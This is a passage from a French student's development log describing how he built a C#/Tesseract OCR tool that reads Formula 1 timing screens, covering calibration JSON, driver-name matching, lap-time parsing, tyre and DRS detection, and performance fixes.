perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\":{ \"x\": 10, \"y\": 20, \"width\": 1450, \"height\": 1340, \"DriverZone\":{ \"x\": 0, \"y\": 23, \"height\": 25, \"Windows\":[ { \"DriverPositionWindow\":{ \"x\": 0, \"y\": 0, \"width\": 35 } }, { \"DriverPositionChangesWindow\":{ \"x\": 0, \"y\": 0, \"width\":45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\": { \"x\": 40, \"y\": 230, \"width\": 1845, \"height\": 719, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": 3, \"width\": 1845, \"height\": 35, \"Windows\": [ { \"Position\": { \"x\": 2, \"y\": 0, \"width\": 32 }, \"GapToLeader\": { \"x\": 204, \"y\": 0, \"width\": 96 }, \"LapTime\": { \"x\": 413, \"y\": 0, \"width\": 105 }, \"Drs\": { \"x\": 526, \"y\": 0, \"width\": 81 }, etc... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\": { \"x\": 37, \"y\": 238, \"width\": 1851, \"height\": 713, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": -5, \"width\": 1851, \"height\": 35 } } ] }, \"Drivers\": [ \"Leclerc\", \"Verstappen\", etc... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive. Mercredi 5 Avril Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Hamilton\", \"Alonso\", \"Russel\", \"Gasly\", \"Stroll\", \"Sainz\", \"Hulkenberg\", \"Norris\", \"Tsunoda\", \"Piastri\", \"Zhou\", \"Ocon\", \"Magnussen\", \"Perez\", \"Sargeant\", \"De Vries\", \"Bottas\", \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Sainz\", \"Perez\", \"Hamilton\", \"Russel\", \"Magnussen\", \"Gasly\", \"Ocon\", \"Alonso\", \"Tsunoda\", \"Bottas\", \"Zhou\", \"Albon\", \"Stroll\", \"Schumacher\", \"Hulkenberg\", \"Norris\", \"Latifi\", \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine. Jeudi 6 Avril Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard. Vendredi 6 Avril 2023 Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:31:749 Sector 2 : 0:00:000 Sector 3 : 0:00:000 Evidemment le GapToLeader est faux sur leclerc car il est leader mais bon ca je pourrai toujours Hardcoder que le premier a jamais de GapToLeader. Bon j'ai eu beaucoup de soucis que je ne vais pas mentionner ici car ce sont simplement des soucis de logique de programmation pour trouver un DRS ouvert ou non. Au final la technique que j'utilise et qui marche plut\u00f4t bien pour le DRS est que je prend la premi\u00e8re image de DRS et je la d\u00e9clare comme valeur \u00e9talon d'un DRS non actif, en effet dans 99% des cas le leader n'a pas de DRS (cela peut arriver alors il faudra donc juste verifier que les pilotes sont bien \u00e0 moins de deux secondes les uns des autres pour confirmer). Ensuite cette valeur \u00e9talon je la calcule en fonction du nombre de pixels verts dans l'image et si il y a plus de 30% de pixels verts en plus c'est que le DRS est activ\u00e9 ex: Ceci est un DRS ferm\u00e9: \"Closed DRS\" Ceci est un DRS ouvert: \"Open DRS\" Cela marche \u00e0 peu pr\u00e8s tout le temps mais dans le pire des cas on peut toujours verifier que les pilotes sont bien proches pour detecter les potentiels rares cas de faux positifs. J'ai pu augmenter les performances en utilisant un seul engine pour tout le monde et en arr\u00eatant d'utiliser GetPixel et SetPixel qui sont simplement des horreurs \u00e0 utiliser. Mais elles ne sont pas encore bonnes Le soucis avec la detection de pneus cependant, c'est qu'il n'est pas possible d'utiliser la reconnaissance pour savoir ou regarder la couleur car cela ne marcherait pas. Je ne peux pas faire trop de post processing car je dois conserver la couleur Je ne peux pas hardocder un endroit ou aller regarder car cela \u00e9volue tout le long du Grand Prix. Bref c'est la gal\u00e8re. En y r\u00e9flechissant je me suis dit qu'une bonne id\u00e9e pourrait \u00eatre de partir de la droite de la zone du pneu en regardant au milieu de la hauteur. Puis continuer vers la gauche jusqu'\u00e0 ce que je rencontre une couleur diff\u00e9rente. Je pourrai ensuite faire une zone un peu vers la gauche qui devrait contenir les infos du pneu et sur laquelle il sera possible de faire de le reconnaissance de couleur et de la reconnaissance de chiffres. J'ai d\u00e9termin\u00e9 que le background n'\u00e9tait jamais plus clair que #505050 et que donc nimporte quelle couleur qui aurait plus que 50 dans un seul des channels serait consid\u00e8r\u00e9e comme une couleur cassant le background Pour arriver \u00e0 cette conclusion je me suis amus\u00e9 un peu avec les couleurs pour jouer avec les limites de mon algorythme : \"Color fun\" Et je crois que j'ai eu une bonne id\u00e9e, avec une petite methode bien faite on arrive \u00e0 de supers r\u00e9sultats : private Rectangle FindTyreZone() { Bitmap bmp = WindowImage; int currentPosition = bmp.Width; int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50,0x50,0x50); Color currentColor = Color.FromArgb(0,0,0); Size newWindowSize = new Size(bmp.Height,bmp.Height); while(currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { currentPosition--; currentColor = bmp.GetPixel(currentPosition,height); } //Its here to let the new window include a little bit of the right side int offset = Convert.ToInt32((float)newWindowSize.Width / 100f * 20f); int CorrectedX = currentPosition - (newWindowSize.Width - offset); if (CorrectedX <= 0) return new Rectangle(0,0,newWindowSize.Width,newWindowSize.Height); return new Rectangle(CorrectedX,0,newWindowSize.Width,newWindowSize.Height); } \"Tyres\" Maintenant cela devrait \u00eatre beaucoup plus simple de trouver la couleur g\u00e9n\u00e9rale et le nombre de tours. Donc ce que je fais c'est que je fais une reconnaissance de texte sur l'image r\u00e9duite. Si je trouve une lettre c'est facile Ca me donne le type de pneu et ca me dit que c'est le premier tour avec. Si c'est un nombre alors je fais la moyenne de toutes les couleurs de l'image et je prend la couleur de pneu la plus proche. Voici les diff\u00e9rentes couleurs de pneus : SOFT : #FF0000 MEDIUM : #f5bf00 HARD : #d9d8d4 INTER : #00a42e WET : #2760a6 \"Tyre colors\" Les couleurs de pneus peuvent changer de temps \u00e0 autres, par exemple cette r\u00e8gle de pneus est arriv\u00e9e en 2019 et avant il y avait beaucoup plus de couleurs mais dans une volont\u00e9 de rendre le sport plus facile \u00e0 comprendre \u00e0 la t\u00e9l\u00e9 cela a \u00e9t\u00e9 simplifi\u00e9. Je ne pense pas que cela va changer dans les ann\u00e9es qui viennent alors tout est hardcod\u00e9. Je pense que j'ai des soucis avec la detection de texte et de couleur car ma zone est trop grande. Alors bon j'\u00e9crit ces lignes apres des heures de tests. Il semble que la principale difficult\u00e9 avec ces pneus c'est que les chiffres ou lettres sont minuscules. Il est donc extr\u00eamement difficile de faire une reconnaissance ne serait-ce qu'un peu fiable.. Je fais de mon mieux pour tenter de r\u00e8gler le soucis cependant c'est vraiment complexe. Je commence \u00e0 devenir fou, je tente tout et nimporte quoi pour permettre \u00e0 mon algo de fonctionner et m\u00eame quand je fais du post processing comme pas possible il me retourne toujours nimporte quoi... \"5i t'inqui\u00e8tes\" Ici le programme va trouver '5i'... En fait c'est complexe d'expliquer tout ce que je fais car je change tout en boucle en essayant et en ratant ce qui prend des heures. Pour aujourd'hui j'abandonne je vais simplement rentrer chez moi et y r\u00e9flechir cette nuit mais je ne vois pas comment mieux faire la... C'est terrible par ce que je sens que je ne suis pas bien loin. Vacances Bon je vais un peu laisser de c\u00f4t\u00e9 la detection de chiffres pour me pencher un peu plus sur la d\u00e9tection de couleur. Par ce que techniquement si j'arrive \u00e0 toujours parfaitement la detecter alors je pourrais me passer des chiffres car ils sont redondant si je construit un historique de pneus. J'ai r\u00e9ussi \u00e0 fix mon probl\u00e8me de mauvaise detection de couleur de pneus. Du moins je crois. Seulement j'ai quand m\u00eame un souci, les fen\u00eatres de pneus avec une lettre n'ont pas assez de couleur pour \u00eatre d\u00e9tect\u00e9s. Je vais donc essayer de detecter les cinq lettres possibles et si il ne trouve pas alors je pourrai tenter de detecter les chiffres sans lettres ce qui devrait grandement aider. Le but est encore une fois de r\u00e9duire les possibilit\u00e9s de Tesseract. Je me rend de plus en plus compte que le plus important c'est de r\u00e9duire le scope le plus possible. Moins il y a de mots et lettres et de chiffres possibles meilleure sera la reconnaissance. Bon ca ne veut toujours pas marcher maintenant le 11 est interpr\u00eat\u00e9 comme trois I ou comme un M... J'en ai marre sans rire c'est vraiment p\u00e9nible. Alors j'\u00e9crit ces lignes deux jours plus tard et me rend compte avec horreur que toutes mes modifications sur ce journal de bord n'ont pas \u00e9t\u00e9 auvegard\u00e9e... yess.. Bon pour faire simple, j'ai r\u00e9ussi \u00e0 rendre la detection de couleurs bien plus efficace en r\u00e9duisant la taille de l'image et en ne prenant pas en compte les couleurs que l'on d\u00e9tecte comme \u00e9tant partie int\u00e9grante du background. Par exemple quand on a une image comme celle ci : \"Avec background\" qui contient un background alors que ci dessous, on l'a enlev\u00e9. \"Sans background\" La diff\u00e9rence est t\u00e9nue mais elle permet de grandement am\u00e9liorer la prescision de la reconnaissance de couleurs. Pour ce qui est du nombre de tours je me suis rendu compte que cela n'\u00e9tait d\u00e9ja pas tr\u00e8s utile car avec l'historique on devrait pouvoir le d\u00e9duire. Mais bon pour la forme je me suis dit que cela serait quand m\u00eame une bonne id\u00e9e de v\u00e9rifier avec la reconnaissance. J'\u00e9tais quasi certain que le soucis \u00e9tait le fait que l'on voie le contour du logo de pneu qui faisait que la reconnaissance avait du mal. Et j'avais raison ! En les enlevant (Ce qui n'a pas \u00e9t\u00e9 simple) J'ai pu avoir des chiffres beaucoup plus proches de la r\u00e9alit\u00e9. En m\u00eame temps je ne vois pas bien comment j'aurais pu faire mieux : \"Super 11\" Je suis quand m\u00eame assez fier de voir que j'ai r\u00e9ussi \u00e0 part de l'image que on peut voir un peu plus haut et automatiquement la transormer en celle ci-dessus. J'ai donc pu retirer le round autour du chiffre et cela m'a permit de pouvoir d\u00e9zoomer un peu et c'est avec ca que les lettres ont pu \u00eatre mieux reconnues : \"Super H\" \"Super M\" Maintenant je pense qu'il ne reste \"plus qu'\u00e0\" nettoyer un peu tout ce code qui traine de partout pour tout faire fonctionner et impl\u00e9menter un peu de parrallel processing ainsi que de l'asynchrone pour ne pas bloquer le reste du programme. Par ce qu'il faut savoir que en l'\u00e9t\u00e2t, le programme met 25 secondes \u00e0 d\u00e9marrer et consomme presque 2GB de Ram. Certes cela ne veut pas dire que la reconnaissance \u00e0 elle seule prend 25 secondes car au d\u00e9marrage il y a aussi la lecture du fichier de config et la cr\u00e9ation des window etc.. En r\u00e9alit\u00e9 la partie strictement OCR prend dans les 12s si on en croit la fonction stopWatch de C#. Et quand on change d'image la reconnaissance prend 9s. Dans tout les cas c'est BEAUCOUP trop. J'aurais eu comme objectif de faire une reconnaissance toutes les secondes. Je ne sais pas bien si cela va \u00eatre possible mais en tout cas le but va \u00eatre de s'en rapprocher. Pour \u00eatre plus exact et permettre une comparaison, voici les stats exactes Avec un fichier d'images vide : Loading - 11.8s Splitting d'images - 90ms OCR - 12.5s Avec un fichier d'images plein : Loading - 10.8s Splitting d'images - 80ms Ocr - 11.6s En passant d'une image \u00e0 l'autre : Loading - NaN Splitting d'images - 50ms Ocr - 8.8s Donc on peut voir que les deux endroits ou le programme prend le plus de temps c'est au premier d\u00e9marrage quand il faut lire le fichier et setup les windows etc... Et l'OCR qui prend un temps fou. Ce qui est pratique c'est que les presque 2gb de ram sont utilis\u00e9s que au lancement et ensuite l'application n'en utilise que quelques centaines de mb. Le processeur lui tourne entre 10 et 20% ce qui ne va pas durer :) Je vais m'occuper dabord du loading. J'ai essay\u00e9 d'utiliser un Parrallel.For au moment de la cr\u00e9ation des windows, le probl\u00e8me c'est que visiblement les objets windows sont beaucoup trops complexes et utilisent trop de ressources partag\u00e9es pour \u00eatre vraiment thread Safe. J'\u00e9sp\u00e8re que je n'aurais pas trop de soucis avec ca qu'en j'en viendrai \u00e0 l'optimisation de l'OCR... Ce qui me rend fou c'est que cette boucle toute nulle prend plus de dix secondes \u00e0 s'executer et je ne comprend pas bien pourquoi. for (int i = 0; i < NUMBER_OF_DRIVERS; i++) { Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset) /*- (i* (FirstZoneSize.Height / 32))*/); Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize)); Bitmap zoneImg = newDriverZone.ZoneImage; newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea))); newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea))); newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea))); newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea))); newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea))); newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea))); newDriverZone.AddWindow(new DriverSector1Window(zoneImg, new Rectangle(driverSector1Position, driverSector1Area))); newDriverZone.AddWindow(new DriverSector2Window(zoneImg, new Rectangle(driverSector2Position, driverSector2Area))); newDriverZone.AddWindow(new DriverSector3Window(zoneImg, new Rectangle(driverSector3Position, driverSector3Area))); MainZone.AddZone(newDriverZone); } Alors que Zone.AddWindow c'est simplement : public virtual void AddWindow(Window window) { Windows.Add(window); } Et windows est simplement une liste. Donc ca ne peut pas \u00eatre ca qui prend du temps. Et les windows que je cr\u00e9\u00e9 ont ca comme code : public DriverPositionWindow(Bitmap image, Rectangle bounds) : base(image, bounds) { Name = \"Position\"; } Sachant que le constructeur de base d'une Window c'est : public Window(Bitmap image, Rectangle bounds) { Image = image; Bounds = bounds; Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } Sachant que TesseractEngine est en statique et que donc il ne devrait... OHLLALALALALALALALALA je suis un imb\u00e9cile... J'ai juste \u00e0 changer ce constructeur avec ca: if (Engine == null) { Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, \"eng\", EngineMode.Default); Engine.DefaultPageSegMode = PageSegMode.SingleLine; } ET le loading ne prend plus que 2-300 ms... Bon 